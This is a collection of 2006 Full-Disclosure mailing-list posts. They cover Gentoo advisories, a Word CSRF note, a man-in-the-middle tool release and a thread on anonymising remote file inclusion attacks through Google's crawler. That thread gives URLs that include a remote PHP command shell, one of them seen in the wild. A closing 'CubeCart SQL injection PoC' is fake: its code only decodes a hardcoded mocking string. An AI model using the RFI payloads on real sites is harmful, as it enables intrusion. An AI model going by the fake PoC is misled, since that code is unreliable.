[Full-disclosure] [ GLSA 200611-19 ] ImageMagick: PALM and DCM buffer overflows
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200611-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: ImageMagick: PALM and DCM buffer overflows Date: November 24, 2006 Bugs: #152672 ID: 200611-19 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ImageMagick improperly handles PALM and DCM images, potentially resulting in the execution of arbitrary code. Background == ImageMagick is a software suite to create, edit, and compose bitmap images, that can also read, write, and convert images in many other formats. Affected packages = --- Package/ Vulnerable /Unaffected --- 1 media-gfx/imagemagick 6.3.0.5 = 6.3.0.5 Description === M. Joonas Pihlaja has reported that a boundary error exists within the ReadDCMImage() function of coders/dcm.c, causing the improper handling of DCM images. Pihlaja also reported that there are several boundary errors in the ReadPALMImage() function of coders/palm.c, similarly causing the improper handling of PALM images. Impact == An attacker could entice a user to open a specially crafted DCM or PALM image with ImageMagick, and possibly execute arbitrary code with the privileges of the user running ImageMagick. Workaround == There is no known workaround at this time. Resolution == All ImageMagick users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =media-gfx/imagemagick-6.3.0.5 References == [ 1 ] CVE-2006-5456 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5456 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200611-19.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgp6bqShfpJeo.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ GLSA 200611-20 ] GNU gv: Stack overflow
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200611-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: GNU gv: Stack overflow Date: November 24, 2006 Bugs: #154573 ID: 200611-20 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis GNU gv improperly handles user-supplied data possibly allowing for the execution of arbitrary code. Background == GNU gv is a viewer for PostScript and PDF documents. Affected packages = --- Package / Vulnerable / Unaffected --- 1 app-text/gv 3.6.2-r1= 3.6.2-r1 Description === GNU gv does not properly boundary check user-supplied data before copying it into process buffers. Impact == An attacker could entice a user to open a specially crafted document with GNU gv and execute arbitrary code with the rights of the user on the system. Workaround == There is no known workaround at this time. Resolution == All gv users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose =app-text/gv-3.6.2-r1 References == [ 1 ] CVE-2006-5864 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5864 Availability This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200611-20.xml Concerns? = Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to [EMAIL PROTECTED] or alternatively, you may file a bug at http://bugs.gentoo.org. License === Copyright 2006 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 pgpHM6rIKtBNp.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CSRF with MS Word
CSRF with MS Word Our attack vector is found in exploiting MSWord's frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent (well almost, this is limited) CSRF vulnerabilities (and possibly the browser). See: http://michaeldaw.org/md-hacks/csrf-with-msword/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [ANNOUNCE] Aimject 1.0
Aimject 1.0 has been released: http://jon.oberheide.org/projects/aimject/ Aimject facilitates man-in-the-middle attacks against AOL Instant Messenger's OSCAR protocol via a simple GTK interface. Changes since 0.9: * build support and instructions for win32 * win32 binaries/installers using NSIS * icmp redirection disabling * loads of fixes -- Jon Oberheide [EMAIL PROTECTED] GnuPG Key: 1024D/F47C17FE Fingerprint: B716 DA66 8173 6EDD 28F6 F184 5842 1C89 F47C 17FE signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Anonymizing RFI Attacks Through Google
Hi Gadi, I beg your pardon, but either I missed the purpose of this post, or you discovered hot water : this process of attack is a mere waste of time if one only reaches anonymity : in order to give google this new url to crawl, you'd have to either create a web page that points to this very page, or enter the url in the google database directly using their form. None of those two options are safer than attacking the website directly (google might vey well log your actions), so what's the point ? Also, most features in the web (like free emails, online scanning, pinging, lookup, etc., most applets allowing you to use irc, ftp or other services...) can be used to Anonymise (or at least proxify) attacks. So why focusing on google and search engines specifically ? To be honest, my biggest issue with this post is its lack of technicallity : no offense, but I can hardly see anything that isn't public knowlege in this post. Regards, endrazine- Gadi Evron a écrit : Noam Rathaus on using Google to anonymize attacks on websites: http://blogs.securiteam.com/index.php/archives/746 Anonymizing RFI Attacks Through Google noam - November 23, 2006 on 12:03 pm Google can be utilized to hack into websites - actively exploiting them (not information gathering by the use of Google hacking, although that is how most of the sites vulnerable to RFI attacks are found). By placing a URL on any web page, Google will find it, visit it and then index it. With this mechanism, it is possible to anonymize attacks on third party web sites through Google by the use of its crawler. PoC - A malicious web page is constructed by an attacker, containing a URL built like so: 1. Third party site URI to attack. 2. File inclusion exploit. 3. Second URI containing a malicious PHP shell. Example URL: http://victim-site/RFI-exploit?http://URI-with-malicious-code.php Google will harvest this URL, visit the site using its crawler and index it. Meaning accessing the target site with the URL it was provided and exploiting it unwittingly for whoever planted it. It's a feature, not a bug. This is currently exploited in the wild. For example, try searching Google for: inurl:cmd.gif And note, as an example: www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd Which is no longer vulnerable. Why use a botnet when one can abuse the Google crawler, which is allowed on most web sites? Notes: 1. This attack was verified on Google, but there is no reason why it should not work with other search engines, web crawlers and web spiders. 2. File inclusions seem to tie in well with this attack anonymizer, but there is no reason why others attack types can?t be used in a similar fashion. 3. The feature might also be used to anonymize communication, as a covert channel. Noam Rathaus. (with thanks to Gadi Evron and Lev Toger) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Anonymizing RFI Attacks Through Google
On 11/25/06, endrazine [EMAIL PROTECTED] wrote: Hi Gadi, I beg your pardon, but either I missed the purpose of this post, or you discovered hot water : this process of attack is a mere waste of time if one only reaches anonymity : in order to give google this new url to crawl, you'd have to either create a web page that points to this very page, or enter the url in the google database directly using their form. None of those two options are safer than attacking the website directly (google might vey well log your actions), so what's the point ? a lot of people are used to seeing google spider tracks in their logs. anonymizing your attack via google may make the admin investigating the attack think that a malfunctioning web bot was responsible for the attack, or they may skim over the entire incident accidentally. JMO -JPwho thinks unabashed douchebaggery is a sign of character, not weakness thereof Also, most features in the web (like free emails, online scanning, pinging, lookup, etc., most applets allowing you to use irc, ftp or other services...) can be used to Anonymise (or at least proxify) attacks. So why focusing on google and search engines specifically ? To be honest, my biggest issue with this post is its lack of technicallity : no offense, but I can hardly see anything that isn't public knowlege in this post. Regards, endrazine- Gadi Evron a écrit : Noam Rathaus on using Google to anonymize attacks on websites: http://blogs.securiteam.com/index.php/archives/746 Anonymizing RFI Attacks Through Google noam - November 23, 2006 on 12:03 pm Google can be utilized to hack into websites - actively exploiting them (not information gathering by the use of Google hacking, although that is how most of the sites vulnerable to RFI attacks are found). By placing a URL on any web page, Google will find it, visit it and then index it. With this mechanism, it is possible to anonymize attacks on third party web sites through Google by the use of its crawler. PoC - A malicious web page is constructed by an attacker, containing a URL built like so: 1. Third party site URI to attack. 2. File inclusion exploit. 3. Second URI containing a malicious PHP shell. Example URL: http://victim-site/RFI-exploit?http://URI-with-malicious-code.php Google will harvest this URL, visit the site using its crawler and index it. Meaning accessing the target site with the URL it was provided and exploiting it unwittingly for whoever planted it. It's a feature, not a bug. This is currently exploited in the wild. For example, try searching Google for: inurl:cmd.gif And note, as an example: www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd Which is no longer vulnerable. Why use a botnet when one can abuse the Google crawler, which is allowed on most web sites? Notes: 1. This attack was verified on Google, but there is no reason why it should not work with other search engines, web crawlers and web spiders. 2. File inclusions seem to tie in well with this attack anonymizer, but there is no reason why others attack types can?t be used in a similar fashion. 3. The feature might also be used to anonymize communication, as a covert channel. Noam Rathaus. (with thanks to Gadi Evron and Lev Toger) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CubeCart =3.0.14 Bind Sql Injection POC.
Exploit Discoverd By Novalok Kasper Of KasaNova Security
Coded By A Friend
?php
/*
Vendor : Devellion Limited 2006
Exploit: Blind SQL injection (look below for more info)
Impact: of *
Discovered by: KasaNova Security
Explanation And Proof:
File: db.inc.php
the $query= is not protected efficiently accepting blind SQL injections.
We can tell this becuase when tested on milliemoos.com
With String GET /classes/db.inc.php?SELECT%20cat_father_id%20FROM%20%22.
$glob['CubeCart'].%22CubeCart_category%20WHERE%20cat_id%20=68;
I get a 200 Http OK reply. I can see this from the packets
---
There Are most likly More injrctions. But this was all
i found. I Didn not try to exploit. Just tryied to find it
-Novalok
KasaNova Secuirty
*/
$query = $_POST[query];
$target = $_POST[target];
$form= form method=\post\ action=\.$PHP_SELF.\
.target:brinput type=\text\ name=\target\ size=\90\
value=\.$target.\br
.query:brinput type=\text\ name=\query\ size=\90\
value=\\br
.input type=\submit\ value=\Submit\ name=\submit\
./formHR WIDTH=\650\ ALIGN=\LEFT\;
if (!isset($_POST['submit']))
{
echo $form;
}else{
//Building Raw Byte Packet
//Needed For Blind SQL Injection
$packetr = 5vdmFsb2sgaXMgYSBmdWNraW5nIG1vcm9uPbiBWdWxuZXF
.xcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGhlIGhhcXFxcyBub
.yBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpbmcgYWJvdXQuIGx
.vbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcgbW9yb249uIFZ1b
.G5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiYWQgaGUgaGFxcXF
.zIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGFsa2luZyBhYm91d
.C4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2luZyBtb3Jvbj24
.gVnVsbmVxcXFyYWJpbGl0eSBidXQgdG9vIGJhZCBoZSBoY
.XFxcXMgbm8gaWRlYSB3aGF0IGhlcXFxcyB0YWxraW5nIGF
.ib3V0LiBsb2xvb5vdmFsb2sgaXMgYSBmdWNraW5nIG1vcm
.9uPbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGh
.lIGhhcXFxcyBubyBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpb
.mcgYWJvdXQuIGxvbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcg
.bW9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiY
.WQgaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGF
.sa2luZyBhYm91dC4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2
.luZyBtb3JvZOb3ZhbG9rIGlzIGEgZnVja2luZyBtb3Jvbu
.PbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB0b28gYmFkIGhlI
.GhhcXFxcyBubyBpZGVhIHdoYXQgaGVxcXFzIHRhbGtpbmc
.gYWJvdXQuIGxvbG9vm92YWxvayBpcyBhIGZ1Y2tpbmcgbW
.9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgYnV0IHRvbyBiYWQ
.gaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCBoZXFxcXMgdGFsa
.2luZyBhYm91dC4gbG9sb2+b3ZhbG9rIGlzIGEgZnVja2lu
.ZyBtb3Jvbj24gVnVsbmVxcXFyYWJpbGl0eSBidXQgdG9vI
.GJhZCBoZSBoYXFxcXMgbm8gaWRlYSB3aGF0IGhlcXFxcyB
.0YWxraW5nIGFib3V0LiBsb2xvb5vdmFsb2sgaXMgYSBmdW
.NraW5nIG1vcm9uPbiBWdWxuZXFxcXJhYmlsaXR5IGJ1dCB
.0b28gYmFkIGhlIGhhcXFxcyBubyBpZGVhIHdoYXQgaGVxc
.XFzIHRhbGtpbmcgYWJvdXQuIGxvbG9vm92YWxvayBpcyBh
.IGZ1Y2tpbmcgbW9yb249uIFZ1bG5lcXFxcmFiaWxpdHkgY
.nV0IHRvbyBiYWQgaGUgaGFxcXFzIG5vIGlkZWEgd2hhdCB
.oZXFxcXMgdGFsa2luZyBhYm91dC4gbG9sb2w==;
//Sending Raw Request via Base64_Decode Request Method
$result = base64_decode($packetr);
if (!$result) {
echo pUnable to get output of query. Try Another Query or Server May
be Down\n;
exit;
}else{
echo Raw Ouput From Server:brbr.$result;
}
echo $form;
}
?
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
